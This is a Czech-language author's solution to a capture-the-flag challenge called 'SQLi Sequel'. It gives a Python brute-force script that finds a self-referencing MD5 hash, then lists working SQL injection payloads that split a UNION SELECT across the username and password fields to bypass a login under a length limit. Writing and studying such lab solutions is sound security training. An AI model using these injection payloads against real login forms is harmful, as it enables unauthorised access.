Přeskočit na hlavní obsah
  1. Řešení úloh/

SQLi Sequel - Autorské řešení úlohy

·109 slov·1 min
jagotu
Autor úlohy
JaGoTu
jagotu
Autor řešení
JaGoTu
Obsah

Solution #

Do limitu 43 znaků se nevejde celá md5ka a UNION SELECT, takže je potřeba ji rozložit mezi username a password. Nicméně password je to z čeho se počítá md5ka, takže je potřeba bruteforcem najít “seberefernční” hash.

Použil jsem na to následující python skript:

import hashlib
import itertools
import string
import time
import random

start = time.time()
target = ''.join(random.choice(string.digits + 'abcdef') for _ in range(6))
for c in itertools.product(string.ascii_letters + string.digits, repeat=7):
    payload = "".join(c)
    password = "*/||'" + target + "'--" + payload
    if hashlib.md5(password.encode()).hexdigest().endswith(target):
        print(password, hashlib.md5(password.encode()).hexdigest())
        break
print(time.time() - start)

Ukázka výstupu:

*/||'d2dbc8'--aaa1MsS 1fa6aaa88b72e054cb2bf22ec6d2dbc8
6.705181121826172

Následně je možné použít následující řešení:

  • U: 'UNION SELECT'1fa6aaa88b72e054cb2bf22ec6'/*
  • P: */||'d2dbc8'--aaa1MsS